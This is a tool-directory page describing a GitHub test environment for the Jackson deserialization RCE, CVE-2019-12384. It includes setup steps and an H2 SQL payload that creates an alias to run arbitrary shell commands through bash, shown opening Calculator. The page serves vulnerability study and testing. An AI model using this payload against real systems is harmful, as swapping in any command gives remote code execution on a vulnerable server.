Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Jackson_RCE-CVE-2019-12384 — CVE-2019-12384 漏洞测试环境 | Kitploit
Tools/GitHubGitHub/magiczer0/jackson_rce-cve-2019-12384
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationLearning & Education
GitHubmagiczer0/jackson_rce-cve-2019-12384

Jackson_RCE-CVE-2019-12384

CVE-2019-12384 漏洞测试环境

View Repository
2143 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Environment Setup

Import the project into IDEA, configure Maven to automatically import dependencies, then write the following file into a local empty web directory and save it as exec.sql. Start an HTTP server:

root@kitploit:~
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"/bin/bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\0A");
    return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('open /Applications/Calculator.app')

Please modify the corresponding parts in the code to adapt to different operating system environments.

Execution Result

You can see the calculator pop up.

Vulnerability References

https://blog.doyensec.com/2019/07/22/jackson-gadgets.html

https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html

https://www.anquanke.com/post/id/182695

Download Tool